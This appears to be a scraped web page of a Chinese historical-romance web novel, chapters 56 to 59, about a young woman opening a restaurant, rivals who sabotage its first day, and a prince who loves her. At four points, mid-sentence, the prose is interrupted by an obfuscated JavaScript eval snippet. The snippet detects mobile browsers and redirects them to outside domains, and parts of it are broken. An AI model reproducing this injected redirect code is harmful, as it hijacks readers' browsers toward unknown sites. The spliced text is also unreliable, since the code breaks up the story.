“未能替向氏夫妻平冤是老夫此生的遗憾,当年没能舍得这一身剐是我懦弱。”老大人声音略有顿挫,“这些年来寝食难安,或许是上苍垂怜,把他们的女儿送到了我的身边,又给了我一次机会,这次老夫不会再退让。” 当年的事闹得很大,当朝宰相带着满朝文武跪在午门之外,整整三日不曾离去,多少人跪得昏厥,又有多少百姓围观议论,许且此举只为逼迫皇帝重审向氏谋逆案,念在云岗大捷给他们一个自证的机会。 可是这样的举动无疑触动了陛下的逆鳞,皇权的威逼之下坚持的人越来越少,许且最终被削去官职,还险些入了牢狱。若不是看在皇子年幼而帝师难寻上,恐怕凶多吉少。 这事是许且一生的痛和遗憾。 “老夫记得,当年云策也曾为此事跪求先帝,还得了责罚。” 赵行之自然记得,他当时年少,并不知道事情究竟是怎么回事,只从心里直觉向将军绝不可能谋逆,为此父皇罚了他三日长跪祖宗牌位前思过,他也曾认真思过,可是怎么都想不明白为何无凭无据之事,只有猜测、怀疑和恐惧便能让一个救国救民的大将军一家惨死屠刀之下。 后来他想通了,事实如何并不重要,帝王的心思决定一切。 从那时起赵行之的脾性便开始悄然发生改变了。 “这些年我寝食难安心中愧对于他们夫妻,此生若是不能达成所愿,恐怕老夫到了地下也难见故人。” “所以老师才收了小早做义女。”赵行之问。 二人已经进了寝殿,炉火燃得很旺,一股暖意扑面而来,赶走了二人身上的风雪和寒意。 许且点头,“小早长得太像她的母亲了,脾性又很像向将军,父女两个一样的倔强固执。” 赵行之垂头不语,不知道在想什么。 二人沉默,管家和佑安送来了一桌酒菜,二人对面而坐,灼灼的烛灯照亮了他的面颊,眉目深邃瞳仁黝黑,看不出情绪。 许且自斟自饮,片刻后抬眸看他,“解铃还须系铃人。” 当年的小童曾在向将军帐下看着他排兵布阵,得他亲自教导拳脚,又得了他的赠礼至今带在身边,因此结下的心结也理应由此解开。 其实许且猜得没错,这几日赵行之一直在纠结。心里想要替她平反,替向氏讨回公道,可是念及那是父皇的旨意,一面担心对先父不敬,又担心皇兄恐不敢担当此事,还担心以皇兄此时的身体状况,若是被有人之人知道了梅映禾的真实身份,加以利用,莫说平反,恐怕于她的安危也是无法保证。 他想的太多了,担心的太多了。还尝试设想若是走上这条平反之路该如何操作,又该如何保护她的周全。若是梅映禾知道了真相,又该如何面对她,如何同她解释,如何承受对她的家人屠戮殆尽的罪责…… 许且摇头,“你呀,莫要多想,走一步看一步,尽人事,一切交给天意。” 二人举杯对饮。 许且不知想起什么,失笑道:“你该学学小早,那股子想做什么做什么的劲头,当真是令人羡慕。” 赵行之垂眸,“如此大张旗鼓,恐会连累她的安危。” “何惧之有?你有军权又有暗卫,找几个人保护她,谁还能动得了她。即便昭告天下梅映禾有人袒护,那又如何,就像老夫一样,就是要偏袒她,就是要给她行方便,她值得,她配,人言可畏都是屁话。” 老大人酒过三巡上了头,口无遮拦倒是直抒胸臆,“就像你自己的事,你做小伏低处处退让隐忍并不能让敌人领情,这些年你没死真是命大。” 是啊,早该如此不是吗。赵行之想,这些年他事事小心处处提防,又能如何。何不大大方方承认一切,真刀真枪拼在明处,最起码落得自己心里痛快。 回归到最初的性格,想通一切,身心都觉得立时变得舒畅起来。 已经一个多月没有见到梅小早了,他心里实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600879|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惦念得厉害,不知道她还有没有再生气,不知道有没有怪怨他不见她,不知道再如此下去,她会不会就忘了他…… 新酒楼门口。 进进出出的工人扛着布匹木料还有一些新买的灶具锅碗瓢盆,一派如火如荼地筹备景象。 坐在大门口石阶之上的梅映禾正在同文明修讨论菜单的价格。 她因刚帮忙搬完货而累得满脸通红,一边擦汗一边以手为扇看着手里的纸张,上头的价格是文明修修改的,比之前上涨了不少,可是梅映禾觉得涨得有点多。 二人身边便是红泥小火炉,炉火燃得正旺,上头是刚烧好的茶水,滚着泡冒着热气,在这阳光灿烂的冬日下午,倒是适宜的温暖 二人正讨论着,梅映禾总觉得身后有人盯着自己,下意识回头看过去,街面上人来人往,没发现有什么异常。 “你若是觉得太高,那我便再改一改。”文明修将纸张折好,塞入袖中,如今他俨然成了梅映禾的顾问。 “听许大人提及过小早做的铁板炙肉,不知何时有幸品尝一二。”文明修如今和她说话自然得很,再没了初识的羞涩,甚至觉得如此下去或许不久之后就能实现自己的心愿。 “择日不如撞日,一会儿回去就做,刚好我也想把这个铁板炙肉放到菜单当中,你尝过之后价格上也好给个参考。”梅映禾连喝了两杯热茶,脸上泛起粉嫩的红晕,笑靥如花。 身后的身影让梅映禾觉得不舒服,再回头看去,仍旧没什么异样。 “怎么了你看什么。”文明修问。 “没什么,你去收拾东西,咱们这就走了。” 见文明修进去收拾,梅映禾放下茶盏转身朝相反的方向而去。 赵行之一愣神的工夫,方才还看到小早在酒楼门口坐着,怎么一转头没人了。 “七哥。”小娘子熟悉的声音在耳畔响起,“干什么鬼鬼祟祟的,想来看我便大大方方地,干吗躲起来。” 赵行之一愣,“并没有,我刚到。” 小娘子一个箭步站在了他的面前,许久未见,她更漂亮了。 “真的吗?”小早显然对这话不信,叉腰瞪着一双杏眼,那眸中闪着璀璨的光,整个人被日光包围,周身裹着一圈浅淡的金色光晕,整个人看上去都在闪闪发光。 “前些日子我去找你,可是你总不在。”梅映禾抱怨,“莫不是生气不想见我吧。” 赵行之心里莫名舒了一口气,“没有,军营事忙,这不刚忙完就来找你了。” “晚间刚好吃铁板炙肉,一起啊。” “好。” “我哥哥回来了吗?” “回来了,去找你嫂嫂了。” “切,一回来就知道找嫂嫂,现在是娶了媳妇忘了妹妹了。” “这次过年宫里头赏赐了好些有意思的玩意儿,七哥都给你带来了,上车看看。” “好啊,还是七哥好。” …… 二人说着梅映禾的注意力全被那百宝箱一样的东西吸引去了,忘了身后的文明修,待她登车赵行之看到了追出来的文明修。 “殿下……” 无视文明修的询问,赵行之的马车扬长而去。 57. 云来酒楼 当日晚间,食客不多之时梅映禾当真做了铁板炙肉,因为人多的缘故,足足准备了三个烤炉,一个烤肉串两个铁板炙肉,肉嘛,则堆成了小山。 不光有肉,还有一盆一盆的蔬菜、菌子、豆腐并一些海货,都是今日新鲜送来的。 这些日子因为要忙新酒楼的开张,梅映禾无暇顾及小食铺,全托赖周大厨、周嫂子和张婶儿,三人忙得昏天黑地的。那头酒楼要装修的事情繁杂,阿十跑前跑后张罗,沈聪也几乎日日泡在工地上帮忙,还有文明修,帮她跑衙门办理各种手续、张罗打点关系,很是尽心。 再加上今日赶巧儿两位哥哥从军营里回来,合该吃些肉补一补,只可惜义父被陛下留在宫里头,不然,还能多加两坛子酒。 “回头烤出来单独装盘,晚上带回去给阿爹吃。”梅九畴一边炙烤一边将许且那一份留出来,每夹一次最后手腕一抖,留下一片肉丝滑落入小梅的盘子里。 梅映禾:…… “哥,睁开眼睛看看我。” 梅九畴灿烂一笑,眼皮都不抬,“有人替你张罗,哥哥放心得很。” 果然,梅映禾面前的盘子里早就堆成了小山,赵行之仍旧给她添菜,乐此不疲、意犹未尽。 梅映禾:…… “我们小早最近瘦得厉害,多吃些肉,补一补。” 赵行之常年行军打仗,野外作战缺衣少食的时候便随意猎了鹿羊牛马甚至野猪黑熊等,扒皮喝血吃肉,因此对于炙肉的手法颇像个勤行的老师傅。 “不同的肉薄厚不同,小早切得很好,五花肉切薄片,肥瘦间隔入口不腻,牛羊肉要切厚片或切块,肉汁渗透嚼劲更甚。” 他细数着炙肉经,纤长的手指稳稳地捏住竹签,两只手抓起好似一面大大的肉蒲扇,撒上香料、辣椒,两面大肉蒲扇相互交叠,蘸尽香料和肉汁,而后手腕一翻开始烤另一面。 如此往复几次,那白生生的肉即变得焦香里嫩,惹人垂涎。 这是其中一只炉子上的烤肉,另外两个炉子上的铁板也炙烤好了肉片和蔬菜,蘸上梅映禾的秘制调料,干碟、湿碟,还有蒜片、葱花末和香菜碎,或直接入口,或包着蔬菜叶子大嚼特嚼,或并着蒜片葱花和香菜一并混在嘴里,冲头的辅料美美的肉香,再抿上一口辣辣的小酒,啧啧啧,美得咧。 文明修负责另一个铁板上的炙肉,装了一小碟递到梅映禾和赵行之面前,“如今总商缺了人挑头,原先的商总去岁回了老家颐养天年去了,群龙无首,可把我难住了。” 梅映禾笑道:“你这是能者多劳,他们才会如此依赖你。” 文明修笑笑,想来她是没明白自己的意思,觎了一眼坐在她身边烤肉的晋王,咬了咬牙,道:“不如你来做这个商总,我想着你想法多点子多,而且与大家相熟关系好,大家也都愿意到你这里来,你是不知,从前总商开个会,就为着去哪家聚头都要吵上好几日,争来抢去的甚是让人头疼。” 梅映禾一噎,连忙摆手,“我可不行,我这才到哪儿呀,连官府衙门那边都要靠你们帮我撑场面,大家愿意来正是因为我对他们没有威胁。” 后面这句话倒是说得精准,因为大家都觉得轮到谁也轮不到这个初出茅庐的小丫头,这才愿意亲近甚至照顾一二,这是当她弱质,并没有视为可竞争者。 心思澄明不过如是,梅映禾从来都是拎得清的。 赵行之赞赏地看了她一眼,又转向文明修,对方也正在看他,一脸窘迫。 文明修对赵行之是有些发怵的,晋王向来不爱出风头,行事低调且似乎对自己有点儿不那么客气,他当着这位大佛的面怂恿小早做商总,若是她自己愿意则好说,这事小早不愿,恐怕他会更加反对,搞不好还会当众斥责他的不是。 梅映禾用胳膊肘捅了捅赵行之,七哥是个不爱出风头的性子,觉得一定能得到他的支持。 “七哥觉得是不是,太张扬了。” “倒也没什么不好。”赵行之悠悠开口,梅映禾一愣,七哥怎么了。 “张不张扬,该来的总会来,顺其自然,何必刻意躲避。”赵行之眼睛盯在两扇肉串上,意有所指,“你的谦虚或许在旁人看来是软弱好欺,反而为自己招来麻烦。” 文明修:…… 晋王殿下似乎有些不一样了。 文明修僵了一下赶紧道:“正是这话,做了商总于你自己的生意也是便利,你做得好了定能带着大家一起好,若是换作旁人,我都筛选过一遍了,恐怕多少会有打压和纷争。” 同行是冤家,这话自古有之。 市场就那么大,总不可能平分秋色,谁多分一杯羹便会走得更好,生意一旦滚动起来势不可挡,越做越大自然就会抢了别人的,这个道理梅映禾懂。 可是,在她看来一切才刚开始,犹豫再三还是摇头,“容我再想想,这事不急。” 外头梆子声响起时,店铺里剩余的客人三三两两走尽,烤肉的香气飘散在整个铺子里,酒过三巡大家自在松散,梅映禾举杯碰了一下赵行之放在桌子上的酒杯:“我知道酿酒权是七哥的功劳,多谢。” 本以为他会如往常一样否认推辞,梅映禾都想好了说辞,结果赵行之端起酒杯饮尽,“不必客气,以后有事尽管开口。” 梅映禾:…… 七哥怎么好像不一样了。 欢乐的时光转瞬即逝,就像忙碌的日子总是过得飞快。 脱下厚厚的棉衣,新酒楼开业了。 梅映禾原本起的名字叫聚友阁,朋友小聚,多好,谁知赵行之说不好。 “你这里装修得如此古朴雅致,三楼还有专为女客准备的雅间,更是轻纱缦帐、仙气飘飘,这个聚友阁实在太俗。” 被抨击了,梅映禾想了想,好像是啊。 他说:“牌匾我帮你写,名字就叫云来酒楼。” 梅映禾不解:“这是有什么说法吗?” 赵行之看了她一眼,“有诗云很是唯美,日后再告诉你。” 他没多说,梅映禾琢磨着:“云来,云来,宾客云集,也行吧。” 这种事情她素来不纠结,高高兴兴接受了。 赵行之松了一口气,云来,取“云”字,她本名叫向云早,而他的小字云策,皆有一个“云”字。 诡秘心思达成,赵行之神清气爽,回去认认真真地提了字又专门找巧匠做了牌匾,黑底金字在日头下闪闪发光,旁边还有一枚小的几不可见的他的私人印章:云策书。 云来酒楼开业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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新酒楼招了几个新跑堂给客人点菜上菜,此时都站在一排闲着,过去催了几次客人仍旧没有点菜的意思,也只能作罢。 已经过了午时了,他们在等什么。 梅映禾心里隐隐有了不好的预感,这些人占着座不点菜不吃饭,外头排队的食客便只能等着,而且是没完没了的等。 怕不是遇上捣乱了的吧。 如此想着,梅映禾心里一凉,果然,身后排队等座的食客不耐烦起来: “要等多久啊,饿坏了。” “再吃果子就吃饱了。” “你们还能不能干了,新酒楼到底不行。” …… 吵吵嚷嚷吸引了不少街面上人来人往的目光,指指点点议论声纷纷,还有好事的站住了看热闹。 伙计们不知所措,灶房里等得不耐烦的周大厨抄着铲子跑出来看:“东家,这是怎地了,不是说坐满了吗,怎么没点菜。” 待看到梅映禾一脸无奈时再看厅内的情形,即刻明白过来:“奶奶地,这是来找碴了,谁,谁干的。” 别管是谁干的,现在都不是计较的时候,梅映禾劝走了周大厨,亲自拿着菜单过去一桌一桌问,可是得到的答复不是“再等等,人没来齐”,就是“我们还在选菜,小娘子莫急”。 还有人直接瞪眼:“怎地,又不是不给银子,催什么催。” 梅映禾:…… 好,来这一套是吧,今儿算是碰上了。 58. 搬石头砸自己的脚 日光直直洒下,似将一切放大。 酒楼里闲散坐着的“客人”们大模大样的空着桌子,摆明了占着座儿,外头排的队伍越来越长。 梅映禾是个以和为贵的性子,想来这样找碴生事儿的也不会日日都来,上哪雇这么些个闲人呢是吧,再看看那些占座的大哥们,一个个五大三粗的。 常在一个行当儿里摸爬滚打,对于同行总有一种莫名的熟悉,梅映禾一搭眼便能看出这些人都是同行,厨子或者帮厨,想来平日里也是有正经事要做,无非是今日受了命来给她开张添堵。 不作他想,眼下解决问题要紧,虽然不愿交恶,但是也不能任由人这样欺负。 梅映禾当即决定,让阿十带着几个伙计跑去原先的食铺,今儿酒楼开业,人手都调过来帮忙,好吃食铺这几日刚好歇业,“能搬的桌椅板凳统统搬过来。” 酒楼后院儿有一间仓库,囤了一些还未曾用得上的桌椅,也统统搬出来用。另外,三层全是女子雅间,这会儿人并不多也没坐满,桌椅搬下来用。 梅映禾指挥着自己的伙计和后厨的厨师们,将酒楼门口的地方、后院儿,能用的地方全都摆上了桌椅,请排队的食客入座,点菜。 气氛热烈还做了宣传,至于那些占座的大哥们,你们愿意坐便坐着吧,这边已然热热闹闹忙碌起来。 跑堂的伙计吆喝着快速穿梭其中,小梅的算盘打得噼里啪啦直响,进进出出的客人们络绎不绝,灶房里不停地出菜,一盘一盘香喷喷冒着热气的饭菜从那些人的眼前、头顶掠过,留下一片香气,引得他们伸长脖子窥探,遂又装作一脸不稀罕的样子,屁股落回到座位上,面上却是藏不住地羡慕、尴尬。 只要不耽搁大家吃饭,梅映禾并不介意这些人这么干坐着。 可是他们似乎也明白过来她的意图,商量过后开始高声喊跑堂的要点菜。 说是点菜也不好好点,指着菜单磨磨蹭蹭问东问西挑三拣四,梅映禾遣走了小跑堂亲自帮他们点菜,笑脸相迎有问必答。 毕竟不是街面上的地痞流氓,面对年岁并不太大的小娘子,这些人还做不到没羞没臊,挑剔了一会儿之后便也不多说什么,赶鸭子上架地点了菜吃饭。 本来是打算吃饭的时候挑毛病的,咸了淡了不合口了,总能说出个一二三。梅映禾始终在留意他们的反应,上菜之后这些人开始品尝,很专业地先尝尝汤汁的味道,竟还有人下意识去摸手臂上的小勺,发觉没有才恍然自己的角色,讪讪收回手。 只这一个小动作便证实了梅映禾的猜测,同行。 看着他们一边吃菜一边讨论的样子,梅映禾觉得好笑,毕竟都是老老实实凭手艺吃饭的本分人,做这样无赖状着实有些演不下去了。 一场风波就这样在无声无息中悄然退去,有老食客看不过眼,借着酒劲要去找那些人理论被梅映禾按住了。 “就如此算了,梅东家也太好欺负了吧。”那人愤愤不平。 梅映禾给人添了酒菜又说了一箩筐好话才没再次掀起风浪。 至于这件事嘛,肯定不能就此了结。 能在别人开张大吉的日子上门寻衅滋事找麻烦,这是要翻脸了,既然人家都撕破脸皮了,梅映禾也没有道理再维护关系。 叫来阿十和小周,每人给了几个铜板,“你们两个去街面上玩一玩,看看哪家酒楼、食肆、餐馆今日挂了歇业的牌子没开张的。” 阿十带着小周还牵着小九一起去了,梅映禾心里盘算上了。 京城里有名的餐馆酒楼无非那几家,东街的沈记,就是沈聪家的酒楼最为出名,生意兴隆,沈东家为人仗义是出了名的,两家也早已达成了战略合作,不可能是沈记,梅映禾摇摇头。 除了东街的沈记便要数西巷的荟萃楼了,主打一个笙歌艳舞,酒菜精致价值不菲,最重要的是专门养了伶人唱曲取乐。据说东家极有背景,也并不参与餐饮业内的琐事,大家不在一个段位上,想来人家应当不会在意她这么个小小的酒楼。 再要数便是南门的百味坊了,倒是跟梅映禾的路线颇有些相似,都是色香味俱佳的老百姓吃得起的菜色,有贵人宴请也有包间雅座,做了三十多年生意名望也一日日积累起来。 想来那百味坊的东家好像是个不怎么爱说话的中年人,据说是读书人出身,梅映禾印象中见过几次,为人倒是谦和得很,却是没怎么打过交道。 还有北边的一家叫金玉满堂的酒楼,算下来是距离梅映禾的云来酒楼最近的一家,他家的饭菜价格比较贵一些,东家是个挑剔的人,据说供肉菜的商户整日换来换去,怎么都难让东家满意。 其他的酒楼食铺梅映禾或是同东家相熟,或是大家彼此不打交道,井水不犯河水,想来也没有什么值得别人如此惦记的。 如是想着,酒楼里的生意倒是正常起来,那些先前不消停的“同行们”,此时已然沉浸在研究菜品当中,竟还有人主动问到她头上,“小娘子的这东坡肉可有什么秘诀,如何做得如此软烂不腻,入口有嚼劲又不失滑顺。” 呵呵,梅映禾是个大方的,倒也不至于大方到如此地步,你来捣乱我还要传授你秘诀。 “敢问这位兄台。”梅映禾嘻嘻一笑,“您是哪家酒楼的。” “哦,我们是……” 若不是旁边的同伴拉扯,那人险些暴露了身份,怏怏地瞥了她一眼,甩袖不悦道:“小娘子好生小气,不说就不说呗,有什么了不起。” 嘿,你打了我左脸,我没伸出右脸给你打,是我的错呗。 梅映禾很是无语。 又忙活一会儿,食客们吃得七七八八,午食眼看就要结束了,阿十带着小周小九回来了,俩孩子一只狗从东头跑到西头,又从城南跑回城北,累得满头是汗,梅映禾赶忙拿出煮好的甜浆酪给他们,小九也得了一碗,高兴地直摇尾巴。 “阿姐怎知道有酒楼歇业。”阿十歇上一气,道:“金玉满堂,好气派的酒楼竟然歇业。” 可不是吗,梅映禾看了一眼还未走的“同行们”,人都在这儿了,可不得关门嘛。 其实这事并不难理解,大家都在同一个区域,北面虽说兴旺却始终不如一家独大来得叫人安心。 梅映禾点了点头又摇了摇头,很是无奈。 自己的生存总要碍着别人的事,对方既然不是个好相与的那便公事公办,梅映禾看了一眼那些还未离去的“同行们”,打算忙过这两日自己主动登门去找那金玉满堂的东家聊一聊。 “吃饱了就走吧。” 厅内有人喊,其他人回应,小梅悄声对梅映禾嘀咕:“终于吃完了,你看我怎么摆他们一道。” “来了,各位客官吃得可好啊。”小梅笑嘻嘻忙过去招呼,“可有什么不满意的。” 那些人大约是自己也觉得无趣,纷纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629364|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头并不搭话。 小梅笑道:“有什么意见您尽管提,小店一定改正,不知味道可还满意,比金玉满堂如何?” 一语出,众人惊呆了,纷纷面露尴尬地看着她。 小娘子柳眉倒竖,翻着白眼也不打机锋了,直接催促:“你们是一起付账呢还是分开一桌一桌付,青天白日的你们东家还真是清闲,自己生意不做跑到人家地头上捣乱,都是同行,不嫌难看吗。” 一群汉子到底不是正经的无赖,被小梅几句话说得面红耳赤。 “这叫什么。”小梅把算盘架在胳膊上,噼里啪啦地拨弄着算盘珠子,没好气道:“这叫损人不利己,七尺高的汉子,个个都是叔叔辈的人了,欺负我们两个小娘子,也不害臊。” “你,你休要血口喷人。”有人憋不住申辩,“我们,我们就是来吃饭的。” “呵。”小梅冷笑,“你都说了,你们,你们多少人啊,金玉满堂所有的厨子呗,懒得跟你们废话,行了一起结账吧,一共八桌酒菜加酒水六百二十两银子。” 人均七十多两银其实并不低,可是他们心里有数,点的都是贵价的酒菜,若是放在自家店铺里头恐怕要近千两了。 “这是开张大吉东家给的折扣。”小梅催促,“怎么,不会想赖账吧。” “咱们,咱们今日没带银子。” 高大魁梧的汉子羞臊地低着头,这趟出门是被逼的,本想着拖延时间把开张第一餐饭给她搅黄了便是,谁知怎么一步步竟坐下来吃上了,东家没说能吃饭,大家也不愿自掏腰包,一时竟僵持住了。 “什么。”小梅怒了,“你们捣乱就算了,看在都是同行,咱们不同你们计较,怎的,要吃霸王餐吗,咱们这就去报官。” 听说报官,那群人急了,方才其实有人纠结来着,到底能不能吃饭啊,东家只让占座没让吃饭啊,若是不给银子,这六百多可不是小数目,谁也不想掏钱。可是若是真如此那可真成了无赖了,怎么说都不占理了。 “我就说不来吧,你们非要听东家的,可被他坑死了。” “方才就不该吃饭,没面子又能怎样,做这种事早就没脸了,现在好了,这钱谁付。” “谁方才说吃饭的谁付,我可没说。” “你没说可你没少吃一口。” “那也不是我愿意的。” “今儿这事也不是我们愿意的啊。” …… 一群人说着就吵了起来,眼看局面又要乱成一团,梅映禾可真是太不希望开张第一日就闹得这样鸡飞狗跳,揉了揉太阳穴走过去,劝住争执的双方: “这钱本就该你们东家付,你们写张欠条,把事情写清楚,我明儿去找你们东家要钱,这事与你们无关。” 几人都明白这不就是供词吗,不能写。 梅映禾简直气笑了,“不写就付钱,要么见官。” 钱是肯定不能付,官更是不能见,几人权衡了一下,只能硬着头皮写字条签名画押。 眼看着事情就此了结,一群人刚想往外走,街面上传来铁骑之声,转眼间一队整齐划一身着甲胄的兵士列队门前,跑在最前面的高头大马上跳下来一人,一身银色甲胄,一杆长枪在日头下闪着寒光。 那人虎着脸缓步进门,一挥手,身后的兵士将要出门的那群人围了个水泄不通。 “哥哥来晚了,让我妹妹受委屈了。” 59. 小娘子可供宵夜吗? 听这声音,梅映禾还以为是九郎来了,结果一看,九郎的确来了却不止他一个。 赵行之一身甲胄站在那里,玉树临风威风凛凛,正冲她眨眼睛。 他生得俊美,又难得露出这种迷惑人的神情,竟看得梅映禾的心嚯嚯急跳了两下。 梅九畴上前凶巴巴指挥着将士:“来人,把这群人都带回去审,光天化日寻衅滋事,也不看看这是谁的地界。” 梅映禾:…… 那几人也是吓坏了,被抓了胳膊还在拼命挣扎: “咱们也没干什么呀,就是吃了顿饭。” “冤枉啊,这事与我们无关啊。” “小娘子,小娘子东家,救命啊。” 救命喊到梅映禾这儿了,梅映禾忙阻止梅九畴:“哥哥,停一下,不至于,真的不至于。” 梅九畴吹胡子瞪眼,反问她:“不至于吗,真的吗,别是他们恐吓你啊,有哥哥和七哥给你撑腰,早儿不用怕。” 自家哥哥一个眼神梅映禾瞬间明白了,憋着笑忙配合他:“真的没事,是误会,都是误会。这几位都是金玉满堂的厨子,同行,大家都是同行,今日来就是捧场,对吧。” 说完转头冲那几人拼命挤眼,那几人赶紧称是绝无二话。 “没为难你吗?”梅九畴看了一眼赵行之,继续盘问,“我怎么听说有人坐在这里捣乱呢,占着座位不点菜,开张大吉,是同行有这么给人添堵的吗,这是成心不叫你好啊。” 他叉着腰一副横着走的模样,张牙舞爪的,看着还真挺吓人。 梅映禾又替几人说了好话,几人道了歉并且保证日后再不会发生这种事了,梅映禾这才熄火,随后又故意走入看热闹的人群之中,大门口已经围了里三层外三层的人。 “你们给我睁开眼睛看看,这云来酒楼是有人撑腰的。” 说着还不忘看了一眼一直站在人群中间摆着姿势默不作声的赵行之,“还有哪个不知死活的要来试一试,可别怪哥哥们不客气。” 这下好了,全京城的人都知道云老酒楼不好惹了。 小梅:…… 好帅。 梅映禾:…… 好尴尬啊。 在纷纷的议论声中,金玉满堂的人灰溜溜地跑了,这下恐怕要影响自家招牌了。 “活该。”小梅恨恨道,“没德行,长不了。” 梅映禾拉着她往回走,刚好对上赵行之的目光。 他仍站在日头下,本就白皙的皮肤仿若透明一般,浓眉大眼唇若施脂,看着真是个俊俏的小郎君,不知将来会是怎样的小娘子能捡到这个大便宜。 梅映禾胡思乱想的时候,小梅已经跑去跟九郎一起指挥着大家将搬出来的桌椅归位了,院子里、大门外,该收拾的收拾,该搬上车拉走的也都忙活起来。 “九郎,那是你妹妹吗?”有将士看了一眼梅映禾,红着脸悄声问梅九畴,“不知你妹妹可许配人家了?” 梅九畴看了一眼赵行之和梅映禾的方向,无语道:“你是瞎吗。” 顺着他的目光,郎才女貌的一对儿璧人,郎君高大英武、硬朗帅气,小娘子娇艳明媚、窈窕灵动,实在是般配。 “七哥今日怎么得空过来了。” 梅映禾仰起头看着赵行之,小娘子的杏眼被日光照得眯起,长睫如扇轻眨着,像极了那挥舞的蝶翅。 “今日入宫演习,忙完就过来了。”赵行之言简意赅,就是没说自己特意着人留意了她这里的动静,发现不对即刻就过来了。 “那可吃饭了,不如叫大家进去坐,灶房炉子还没灭,炒几个菜很快的。”梅映禾说完便要去张罗,被赵行之一把拉住胳膊。 春衫轻巧,郎君的大手一把攥满了小娘子的胳膊还有富余,滑滑的衣料下头皮肉柔柔软软,好似没骨头一样。 赵行之知道梅映禾很瘦,却没料到这么瘦的小娘子竟没有硌人的骨头,反倒是肉嘟嘟的手感。 手上一热,面颊也跟着热起来,赵行之下意识松开手。 梅映禾完全没在意他方才的动作,只听他说,“在宫里吃过午食了,马上还要赶回军营里去。” 梅九畴忙完走过来补充,“你七哥忙着呢,下午还要入宫,听说北地的蛮夷蠢蠢欲动,陛下要召集大家商量对敌之策呢,若在平日你七哥是不参与这种商讨的,现在倒是积极得很。” “为何?”梅映禾不解,她听许且说过,赵行之心思细腻,皇家兄弟芥蒂颇多,为了相安无事他从来都是陛下指东他绝不向西,不参与讨论也绝无推辞和建议。 现在为何变了? 赵行之看了一眼梅九畴,梅九畴讪笑:“关心边疆战事呗,还能怎样。” 说完又跑去集合点人数了。 临走之前,赵行之看了看梅映禾,叮嘱她:“今日之事等忙完这几日七哥陪你一起去处理,别一个人去。” 声音温柔缱绻,听得人耳朵眼里痒痒的。 梅映禾想推辞,可是对上那双漆黑澄澈的眼睛,到了嘴边的话咽了下去,乖巧地点了点头。 赵行之眉眼弯起,帮她捋了一下鬓边的发丝,“晚间忙你的,我若是有空晚一些过来。” 这话说得很平常,梅映禾点头,却咂摸咂摸怎么都觉出一种一家人的感觉。 可不就是一家人嘛,七哥不是外人,跟亲哥哥一样。 如是想着,梅映禾笑得很甜,目送他们离去。 开张第一日发生这样的事情丝毫没有影响梅映禾的心情,整个下午忙得很,根据中午食客们点菜的情况和反映的口碑来看,有些菜要多加一些,有的却要减去,比如那些异域风情的美食,梅映禾发现接受度极低,她本想让大家尝尝鲜,结果食客仿佛忆苦思甜的样子。 也难怪,大隶朝物产丰富百姓的日子过得不错,于吃食上尤其要求高讲究多,这样一个丰衣足食的时代自然看不上那些有些生冷的异域美食。 罢了罢了,不喜就不喜吧,不过那烤串和铁板炙肉倒是颇受欢迎,午食便有人打听,梅映禾嫌白日吃那些弄得一屋子味道,正纠结或许可以放到宵夜的菜单上,刚巧,这点了名要吃烤串炙肉的客人便登门了。 晚食的客人比午食几乎翻倍,除了恭喜开张大吉的道贺之外又多了一个关于金玉满堂的话题。 金玉满堂的东家姓崔是个极抠搜且挑剔的人,约五十多岁却无儿无女,只有两个徒弟还因为他的苛待跑了一个。 “说是那几个厨子也是被逼着过来的,回去老崔硬是不认账。” “听说吃饭钱不给兑现,还扣了人家的月俸。” “说是差事没办好,要我说真是钻到钱眼里了。” …… 梅映禾听着心里不免替那几人感叹,正儿八经的厨子却让人干地痞流氓的行当,真是赔了夫人又折兵,倒霉透了。 不过即便如此,也跟她没关系,毕竟都是那么大的人了,又不是卖了身给东家的,让你做什么便没有自己的衡量和底线吗。 梅映禾摇头,懒得理会这些事,过几日她是要登门说道说道的。 酒楼里热热闹闹,连三楼小娘子们的雅座也几乎全满,当然这要归功于梁五娘子的人脉,梅映禾让阿十往三楼多送了几份甜食点心。 直到亥时三刻,三层上下还余几桌吃酒的客人外,便再无进来的人了。 阿十带着跑堂的小伙计们打扫擦洗,后厨也收拾得七七八八了,第一日的营 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642958|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业即将结束,小梅的算盘声也终于止住了。 “别让我们猜了,你就直接说吧。” 